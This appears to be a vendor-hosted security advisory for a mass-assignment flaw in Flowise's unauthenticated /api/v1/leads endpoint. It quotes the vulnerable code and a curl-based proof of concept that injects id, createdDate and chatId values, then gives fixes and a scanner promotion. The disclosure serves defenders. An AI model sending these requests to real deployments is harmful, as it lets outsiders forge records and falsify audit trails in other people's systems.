Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
📦 npm

GHSA-mq4r-h2gh-qv7x

HIGH

Flowise Allows Mass Assignment in `/api/v1/leads` Endpoint

Also known asCVE-2026-30822
Published
Mar 6, 2026
Updated
Mar 9, 2026
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed

EPSS Exploitation Probability

via FIRST.org ↗
12.9%probability of exploitation in next 30 days
Moderate Risk96th percentile+12.45%
0.00%5.57%11.1%16.7%0.2%0.3%0.5%12.9%Apr 26Jun 26Jun 26

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

Blast Radius

1 pkg affected

Weekly download volume for affected packages — a proxy for how broadly this vulnerability is deployed.

flowisenpm
2Kdownloads / week

Description

Summary

A Mass Assignment vulnerability in the /api/v1/leads endpoint allows any unauthenticated user to control internal entity fields (id, createdDate, chatId) by including them in the request body.

The endpoint uses Object.assign() to copy all properties from the request body to the Lead entity without any input validation or field filtering. This allows attackers to bypass auto-generated fields and inject arbitrary values.

FieldValue
Vulnerability TypeMass Assignment
CWE IDCWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes
Authentication RequiredNone
Affected EndpointPOST /api/v1/leads

Details

Root Cause

The vulnerability exists in /packages/server/src/services/leads/index.ts at lines 27-28:

// File: /packages/server/src/services/leads/index.ts
// Lines 23-38

const createLead = async (body: Partial<ILead>) => {
    try {
        const chatId = body.chatId ?? uuidv4()

        const newLead = new Lead()
        Object.assign(newLead, body)  // ← VULNERABILITY: All properties copied!
        Object.assign(newLead, { chatId })

        const appServer = getRunningExpressApp()
        const lead = appServer.AppDataSource.getRepository(Lead).create(newLead)
        const dbResponse = await appServer.AppDataSource.getRepository(Lead).save(lead)
        return dbResponse
    } catch (error) {
        throw new InternalFlowiseError(...)
    }
}

The Object.assign(newLead, body) on line 28 copies ALL properties from the request body to the Lead entity, including:

  • id - The primary key (should be auto-generated)
  • createdDate - The creation timestamp (should be auto-generated)
  • chatId - The chat identifier

Lead Entity Definition

The Lead entity at /packages/server/src/database/entities/Lead.ts uses TypeORM decorators that should auto-generate these fields:

// File: /packages/server/src/database/entities/Lead.ts

@Entity()
export class Lead implements ILead {
    @PrimaryGeneratedColumn('uuid')  // Should be auto-generated!
    id: string

    @Column()
    name?: string

    @Column()
    email?: string

    @Column()
    phone?: string

    @Column()
    chatflowid: string

    @Column()
    chatId: string

    @CreateDateColumn()  // Should be auto-generated!
    createdDate: Date
}

However, Object.assign() overwrites these fields before they are saved, bypassing the auto-generation.

Why the Endpoint is Publicly Accessible

The /api/v1/leads endpoint is whitelisted in /packages/server/src/utils/constants.ts:

// File: /packages/server/src/utils/constants.ts
// Line 20

export const WHITELIST_URLS = [
    // ... other endpoints ...
    '/api/v1/leads',  // ← No authentication required
    // ... more endpoints ...
]

Proof of Concept

<img width="1585" height="817" alt="Screenshot 2025-12-26 at 2 28 00 PM" src="https://github.com/user-attachments/assets/807984e7-ae4f-4e8a-85b7-057d6ac42ff5" />

Prerequisites

  • Docker and Docker Compose installed
  • curl installed

Step 1: Start Flowise

Create a docker-compose.yml:

services:
  flowise:
    image: flowiseai/flowise:latest
    restart: unless-stopped
    environment:
      - PORT=3000
      - DATABASE_PATH=/root/.flowise
      - DATABASE_TYPE=sqlite
      - CORS_ORIGINS=*
      - DISABLE_FLOWISE_TELEMETRY=true
    ports:
      - '3000:3000'
    volumes:
      - flowise_data:/root/.flowise
    entrypoint: /bin/sh -c "sleep 3; flowise start"

volumes:
  flowise_data:

Start the container:

docker compose up -d
# Wait for Flowise to be ready (about 1-2 minutes)
curl http://localhost:3000/api/v1/ping

Step 2: Baseline Test - Normal Lead Creation

First, create a normal lead to see expected behavior:

curl -X POST http://localhost:3000/api/v1/leads \
  -H "Content-Type: application/json" \
  -d '{
    "chatflowid": "normal-chatflow-123",
    "name": "Normal User",
    "email": "[email protected]",
    "phone": "555-0000"
  }'

Expected Response (normal behavior):

{
    "id": "018b23e3-d6cb-4dc5-a276-922a174b44fd",
    "name": "Normal User",
    "email": "[email protected]",
    "phone": "555-0000",
    "chatflowid": "normal-chatflow-123",
    "chatId": "auto-generated-uuid",
    "createdDate": "2025-12-26T06:20:39.000Z"
}

Note: The id and createdDate are auto-generated by the server.

Step 3: Exploit - Inject Custom ID

Now inject a custom id:

curl -X POST http://localhost:3000/api/v1/leads \
  -H "Content-Type: application/json" \
  -d '{
    "chatflowid": "attacker-chatflow-456",
    "name": "Attacker",
    "email": "[email protected]",
    "phone": "555-EVIL",
    "id": "aaaaaaaa-bbbb-cccc-dddd-eeeeeeeeeeee"
  }'

Actual Response (vulnerability confirmed):

{
    "id": "aaaaaaaa-bbbb-cccc-dddd-eeeeeeeeeeee",
    "name": "Attacker",
    "email": "[email protected]",
    "phone": "555-EVIL",
    "chatflowid": "attacker-chatflow-456",
    "chatId": "auto-generated-uuid",
    "createdDate": "2025-12-26T06:20:40.000Z"
}

⚠️ The attacker-controlled id was accepted!

Step 4: Exploit - Inject Custom Timestamp

Inject a fake createdDate:

curl -X POST http://localhost:3000/api/v1/leads \
  -H "Content-Type: application/json" \
  -d '{
    "chatflowid": "timestamp-test-789",
    "name": "Time Traveler",
    "email": "[email protected]",
    "createdDate": "1970-01-01T00:00:00.000Z"
  }'

Actual Response (vulnerability confirmed):

{
    "id": "some-auto-generated-uuid",
    "name": "Time Traveler",
    "email": "[email protected]",
    "chatflowid": "timestamp-test-789",
    "chatId": "auto-generated-uuid",
    "createdDate": "1970-01-01T00:00:00.000Z"
}

⚠️ The attacker-controlled timestamp from 1970 was accepted!

Step 5: Exploit - Combined Mass Assignment

Inject multiple fields at once:

curl -X POST http://localhost:3000/api/v1/leads \
  -H "Content-Type: application/json" \
  -d '{
    "chatflowid": "any-chatflow-attacker-wants",
    "name": "Mass Assignment Attacker",
    "email": "[email protected]",
    "phone": "555-HACK",
    "id": "11111111-2222-3333-4444-555555555555",
    "createdDate": "2000-01-01T12:00:00.000Z",
    "chatId": "custom-chat-id-injected"
  }'

Actual Response (vulnerability confirmed):

{
    "id": "11111111-2222-3333-4444-555555555555",
    "name": "Mass Assignment Attacker",
    "email": "[email protected]",
    "phone": "555-HACK",
    "chatflowid": "any-chatflow-attacker-wants",
    "chatId": "custom-chat-id-injected",
    "createdDate": "2000-01-01T12:00:00.000Z"
}

⚠️ ALL three internal fields (id, createdDate, chatId) were controlled by the attacker!

Verification

The exploit succeeds because:

  1. ✅ HTTP 200 response (request accepted)
  2. id field contains attacker-controlled UUID
  3. createdDate field contains attacker-controlled timestamp
  4. chatId field contains attacker-controlled string
  5. ✅ No authentication headers were sent

Impact

Who is Affected?

  • All Flowise deployments that use the leads feature
  • Both open-source and enterprise versions
  • Any system that relies on lead data integrity

Attack Scenarios

ScenarioImpact
ID Collision AttackAttacker creates leads with specific UUIDs, potentially overwriting existing records or causing database conflicts
Audit Trail ManipulationAttacker sets fake createdDate values to hide malicious activity or manipulate reporting
Data Integrity ViolationInternal fields that should be server-controlled are now user-controlled
Chatflow AssociationAttacker can link leads to arbitrary chatflows they don't own

Severity Assessment

While this vulnerability doesn't directly expose sensitive data (unlike the IDOR vulnerability), it violates the principle that internal/auto-generated fields should not be user-controllable. This can lead to:

  • Data integrity issues
  • Potential business logic bypasses
  • Audit/compliance concerns
  • Foundation for chained attacks

Recommended Fix

Option 1: Whitelist Allowed Fields (Recommended)

Only copy explicitly allowed fields from the request body:

const createLead = async (body: Partial<ILead>) => {
    try {
        const chatId = body.chatId ?? uuidv4()

        const newLead = new Lead()
        
        // ✅ Only copy allowed fields
        const allowedFields = ['chatflowid', 'name', 'email', 'phone']
        for (const field of allowedFields) {
            if (body[field] !== undefined) {
                newLead[field] = body[field]
            }
        }
        newLead.chatId = chatId
        // Let TypeORM auto-generate id and createdDate

        const appServer = getRunningExpressApp()
        const lead = appServer.AppDataSource.getRepository(Lead).create(newLead)
        const dbResponse = await appServer.AppDataSource.getRepository(Lead).save(lead)
        return dbResponse
    } catch (error) {
        throw new InternalFlowiseError(...)
    }
}

Option 2: Use Destructuring with Explicit Fields

const createLead = async (body: Partial<ILead>) => {
    try {
        // ✅ Only extract allowed fields
        const { chatflowid, name, email, phone } = body
        const chatId = body.chatId ?? uuidv4()

        const appServer = getRunningExpressApp()
        const lead = appServer.AppDataSource.getRepository(Lead).create({
            chatflowid,
            name,
            email,
            phone,
            chatId
            // id and createdDate will be auto-generated
        })
        
        const dbResponse = await appServer.AppDataSource.getRepository(Lead).save(lead)
        return dbResponse
    } catch (error) {
        throw new InternalFlowiseError(...)
    }
}

Option 3: Use class-transformer with @Exclude()

Add decorators to the Lead entity to exclude sensitive fields from assignment:

import { Exclude } from 'class-transformer'

@Entity()
export class Lead implements ILead {
    @PrimaryGeneratedColumn('uuid')
    @Exclude({ toClassOnly: true })  // ✅ Prevent assignment from request
    id: string

    // ... other fields ...

    @CreateDateColumn()
    @Exclude({ toClassOnly: true })  // ✅ Prevent assignment from request
    createdDate: Date
}

Additional Recommendation

Consider applying the same fix to other endpoints that use Object.assign() with request bodies, such as:

  • /packages/server/src/utils/addChatMessageFeedback.ts (similar pattern)

Resources


Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
📦npmflowiseall versions3.0.13

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for flowise. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

  2. Fix

    Update flowise to 3.0.13 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-mq4r-h2gh-qv7x is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 pinpoints whether GHSA-mq4r-h2gh-qv7x is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to GHSA-mq4r-h2gh-qv7x. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

## Summary **A Mass Assignment vulnerability in the `/api/v1/leads` endpoint allows any unauthenticated user to control internal entity fields (`id`, `createdDate`, `chatId`) by including them in the request body.** The endpoint uses `Object.assign()` to copy all properties from the request body to the Lead entity without any input validation or field filtering. This allows attackers to bypass auto-generated fields and inject arbitrary values. | Field | Value | |-------|-------| | **Vulnerability Type** | Mass Assignment | | **CWE ID** | [CWE-915: Improperly Controlled Modification of Dynam
O3 Security · Impact-Aware SCA

Is GHSA-mq4r-h2gh-qv7x in your dependencies?

O3 detects GHSA-mq4r-h2gh-qv7x across npm dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.